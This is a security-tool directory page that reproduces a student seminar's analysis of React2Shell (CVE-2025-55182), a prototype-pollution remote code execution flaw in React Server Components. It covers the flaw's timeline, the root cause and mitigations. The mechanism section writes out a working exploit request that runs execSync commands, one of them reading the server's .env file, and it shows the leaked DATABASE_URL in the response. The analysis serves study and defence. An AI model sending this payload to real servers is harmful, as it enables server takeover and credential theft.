Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
tech-seminar-React2Shell — [우리 FISA] 技術セミナー優勝 - クラウドサービス開発6期3チーム - React2Shell (CVE-2025-55182) 分析及び研究 | Kitploit
ツール/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育ペイロード開発
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[우리 FISA] 技術セミナー優勝 - クラウドサービス開発6期3チーム - React2Shell (CVE-2025-55182) 分析及び研究

リポジトリを見る
136ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell (CVE-2025-55182)

우리FISA 技術セミナー第6期 - 3チーム React Server Component(RSC)の設計欠陥を利用したリモートコード実行(RCE)脆弱性、React2Shellの分析及び研究

チーム

優勝写真

MemberRoleGitHub
남인서資料調査、PPT作成、発表@sene03
유승준資料調査、PPT作成、発表@fluanceifi
이수현資料調査、PPT作成@hyun793
김유정資料調査、PPT作成@yujung23

目次 (Contents)

  1. 概要: React2Shellとは?
  2. React2Shell攻撃メカニズム
  3. React2Shellが与えた影響
  4. フロントエンドにおけるセキュリティ責任

01. 概要: React2Shellとは?

React2Shell(CVE-2025-55182)は、React Server Component(RSC)が使用するFlight Protocolの通信プロセスで発見された致命的なセキュリティ脆弱性です。

  • 核心問題: 攻撃者が認証なしに一度のHTTPリクエストでサーバー内部コマンドを実行できます。
  • 深刻度: CVSS Score 10.0
  • 発生原因: 信頼できないデータの逆シリアル化(Deserialization)プロセスで発生した Prototype Pollution

Flight Protocolの設計欠陥

Reactはコンポーネントを処理するために、文字列、配列の他にPromise, Blob, Mapのような複雑な型に互換性のあるFlight Protocolを使用します。

表現式型説明
$$Escaped $$で始まるリテラル文字列
$@Promise/ChunkChunk ID参照

攻撃者はこのようなプロトコルストリーム処理方式の脆弱性を利用して、悪意のあるスクリプトを注入し、サーバーの制御権を獲得します。

タイムライン

  • 2025.11.29: Meta Bug Bountyを通じて初めて報告
  • 2025.11.30: セキュリティチーム確認及びReactチームとの協業開始
  • 2025.12.01: パッチコード開発及びパートナー会社(Vercelなど)検証
  • 2025.12.03: パッチ配布及びCVE公開

02. React2Shell攻撃メカニズム

  • 最も一般的な攻撃方法は、特別な前提条件なしにReact Flightプロトコルの参照(Reference)システムを悪用することです。
  • 攻撃は大きく**爆弾設置(Payload送信) → 点火(逆シリアル化) → 爆発(RCE実行)**の3段階で構成されます。

1) 爆弾設置

攻撃者はNext-Action、multipart/form-dataヘッダーを含むリクエストを通じてJSONデータをサーバーに送信します。このときリクエストボディにPromiseオブジェクトのように偽装した偽のチャンク(Fake Chunk)を含めます。

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) 点火

root@kitploit:~
// 공격자가 전송한 가짜 청크 예시
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. 공격자가 보낸 가짜 청크의 then에 Chunk.prototype.then이 매핑됩니다.
  2. Blob 데이터를 역직렬화하는 과정에서 _prefix에 담긴 악성 코드가 Function의 인자로 들어갑니다.
  3. 생성된 함수가 Promise의 thenable로 호출되는 순간, 공격자가 심어둔 임의의 코드가 서버에서 실행됩니다.

3) 爆発

root@kitploit:~
// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

根本原因

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}
  • Reactは$1:path:to:value形式の参照を解釈するとき、コロン(:)を基準に文字列を分割してオブジェクト内部を探索します。
  • この過程で$1:__proto__:thenを解釈し、チャンクのプロトタイプとそのオブジェクトのthenにアクセスできるようになります(Chunk.prototype.then)。
  • 結局、攻撃者が送った偽のチャンクが本物のチャンクのthenを持つようになり、攻撃者が意図したコードが実行されます。

03. React2Shellが与えた影響

この脆弱性はモダンなウェブエコシステム全体に大きな波紋を引き起こしました。

  • サーバーコンポーネントの信頼性打撃: 「フロントエンドフレームワークがサーバーセキュリティまで責任を負うべきか?」に関する議論を惹起
  • ホスティングプラットフォームの非常事態: Vercel、NetlifyなどRSCをサポートする主要PaaS事業者の緊急セキュリティパッチ実施

04. フロントエンドにおけるセキュリティ責任

React2Shell事件は「フロントエンド開発者もサーバーセキュリティを理解すべき」という教訓を残しました。

対応策

1. 直ちにReact関連パッケージをアップデート

react-server-dom-webpackなどの関連パッケージを直ちに最新バージョン(19.0.1+など)にアップデート

2. Frameworkのパッチ状況確認

Next.jsなどRSCを内蔵したフレームワークは、単にReactだけをアップデートしても解決されないため、フレームワーク自体のセキュリティリリースノートを確認し、最新バージョンへのアップグレードが必要

3. モニタリング

Grafanaのようなモニタリングシステムを活用し、メール、Slackなど警告を送信できる媒体と連携して即座に対応できるようにアラーム設定

技術の進歩によりフロントエンドの領域が拡大した分、セキュリティに対する責任の範囲も広がったことを認識しなければなりません。


参考資料

React Official Patch

React2Shell: CVE-2025-55182 脆弱性完全分析ガイド

Reactサーバーコンポーネント脆弱性とシステム浸透経路分析

PoC: 脆弱性概念実証コード

ツールをダウンロード